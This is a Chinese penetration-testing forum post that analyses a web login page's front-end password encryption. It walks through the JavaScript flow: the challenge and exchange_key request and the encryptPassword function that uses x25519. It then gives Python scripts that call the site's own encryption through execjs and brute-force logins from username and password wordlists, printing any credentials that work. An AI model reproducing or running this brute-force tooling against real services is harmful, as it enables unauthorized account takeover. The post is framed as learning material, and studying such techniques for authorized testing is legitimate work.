一次有趣的前端加密分析
心*冷 发表于 浙江 渗透测试 1529浏览 · 2024-03-20 06:24

前言

一次有趣的密码加密爆破分享,仅供学习参考,如需转载请声明原文链接

寻找登录加密点

  • 首先按住ctrl+shift+i打开开发者调试界面
  • 然后找到网络页面,随便输入账号密码提交一次
  • 查看启动器,直接点击蓝色的链接转到密码登录处

  • 分析js代码


可以看到FinishLogin将curItem转到doStart()方法中,dostart()方法发送了一个get请求

api/source/${curItem.id}/start?login_name=${
              this.loginData[curItem.fields[0]]
这里curItem.fields[0]是传入的用户名

然后从这个链接中获取challenge和exchange_key的值

既然有发送请求,那么这个链接从网络日志那里就可以看到了

  • 查看链接返回的数据


果然可以看到challenge和exchange_key的值

challenge: "28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w"
exchange_key: "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"

回到dostart()方法
然后if判断使用是否有验证码,若是没有则转到passwordLogin方法,并且将curItem, challenge, exchange_key传过去

  • 转到passwordLogin方法
  • 这里直接在这个文件中搜passwordLogin就找到了


直接看加密的部分,使用了encryptPassword()方法,将exchange_key,challenge,credentials["password"]传入

  • 转到encryptPassword()方法


可以发现函数所在的路径,转到该文件查看方法

这里的形参passwordKey就是我们传入的exchange_key,形参challenge就是challenge,password就是传入的password

encryptPassword就是主加密函数,主要的加密方法都在这个文件里,还引用了x25519.js文件中的函数

  • 大致的加密流程如下:
    • 获取challenge和exchange_key的值
    • 使用jwes.js文件中的encryptPassword()方法传入challenge、exchange_key和password进行加密

爆破密码

环境配置

nodejs下载安装
python导入execjs模块

代码编写分析

前言:这里使用python的execjs模块来执行js中的函数,也就是encryptPassword()方法

  • 首先将jwes.js文件保存至本地

  • 下载导入所需的模块
    jwes.js文件中开头有如下代码
    const forge = require("node-forge");
    import x25519 from "./x25519";
    所以我们需要下载js的第三方模块forge,并且导入x25519.js文件
    npm install node-forge
    注意:我好像无法使用import导入x25519.js这个文件,也不知道啥原因,于是我直接将x25519的代码将所有的代码粘贴到jwes.js文件中,并且修改代码

  • 将内置变量修改成全局变量
  • 静态方法改成普通方法
  • 将export给去掉

    大佬们有什么解决方法可以分享下,小弟不甚感激

python代码如下

import os
import execjs
#指定js运行环境是nodejs
os.environ["EXECJS_RUNTIME"] = "NodeJS"
#打开js文件,并且指定编码为utf-8
with open("jwes.js", "r", encoding='utf-8') as f:
    a = execjs.compile(f.read(), cwd=r"D:\environment\NodeJs\node_modules")
pwd = []
f = open("passwd.txt", "r", encoding='utf-8').readlines()
for line in f:
    pwd.append(line.replace("\n", ''))
for i in pwd:
#调用js文件中的encryptPassword()方法
    result = a.call('encryptPassword', "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk","28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w", i)
    print(result)
  • 注意
    • 文件打开的编码类型指定utf-8
    • execjs.compile(f.read(), cwd=r"D:/environment/NodeJs/node_modules")
      • cwd指定第三方库的路径

错误解决

  • bug1:运行以上的代码出现如下错误:window is not defined
    execjs._exceptions.ProgramError: ReferenceError: window is not defined

根据提示,定位到window

这就是一个生成随机数的函数,但是window是浏览器的特性,nodejs没有这个东西,将这段代码改成如下即可

function cryptoRandomBytes(length) {
  let array = new Uint8Array(length);
  return crypto.getRandomValues(array)
}
  • bug2:js网络请求错误
    exchange_key不变,但是challenge具有实时性,challenge每一次都不一样,需要从链接api/source/${curItem.id}/start?login_name=获取
    但是我无法解决使用js获取该网址返回的json数据包中的challenge字段,一直报错,没办法,我js基础太差了,这里使用python的request模块请求获得challenge的值

python完整代码

使用python获取challenge数据,然后将文件中的密码加密,直接使用python进行爆破

import json

import execjs
import requests

successCount = 0


def mzDes(s,para):
    url = 'http://127.0.0.1/api/source/AlbdUKmU/start?login_name=admin'  # 替换为你要获取内容的网页 URL
    response = requests.get(url)
    content = str(response.json()['data']['challenge'])
    despara = execjs.compile(s,cwd=r"D:\environment\NodeJs\node_modules").call("encryptPassword","Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk",content,para)
    return despara

with open('jwes.js','r', encoding='utf-8') as jsFile:

        a = jsFile.read()
        with open('./users','r', encoding='utf-8') as users:   #des username
            user = users.readlines()
        for u in user:
            with open('passwd.txt','r', encoding='utf-8') as pwds:   #des password
                    uname = u.strip()
                    print(uname)
                    # desUsername = mzDes(s,uname)
                    # print(desUsername)

                    pwd = pwds.readlines()
                    for p in pwd:
                        passwd = p.strip()
                        print(passwd)
                        desPassword = mzDes(a,passwd)
                        print(desPassword)




                        burp0_url = "http://127.0.0.1/api/source/AlbdUKmU/finish"

                        burp0_headers = {"User-Agent": "Mozilla/5.0 Firefox", "Accept": "application/json, text/plain, */*", "X-Requested-With":"XMLHttpRequest", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/json;charset=UTF-8", "Origin": "http://127.0.0.1/", "Connection": "close", "Referer": "http://127.0.0.1/login"}
                        burp0_data = {"login_name": uname, "password": desPassword,}

                        rsp = requests.post(burp0_url, headers=burp0_headers, data=json.dumps(burp0_data))

                        if rsp.json()['status'] == 'error':
                            print('error')
                            code = rsp.json()['code']
                            print(code)
                            if code == "UNKNOWN_ACCOUNT":
                                break

                            print("-------------------")
                        else:
                            successCount=successCount+1
                            print("sucess:\n\tuname:"+uname+"\n\tpassword:"+passwd)
                            print("*****正确的密码********")
                            print(rsp.content)

print(successCount)
0 条评论
某人
表情
可输入 255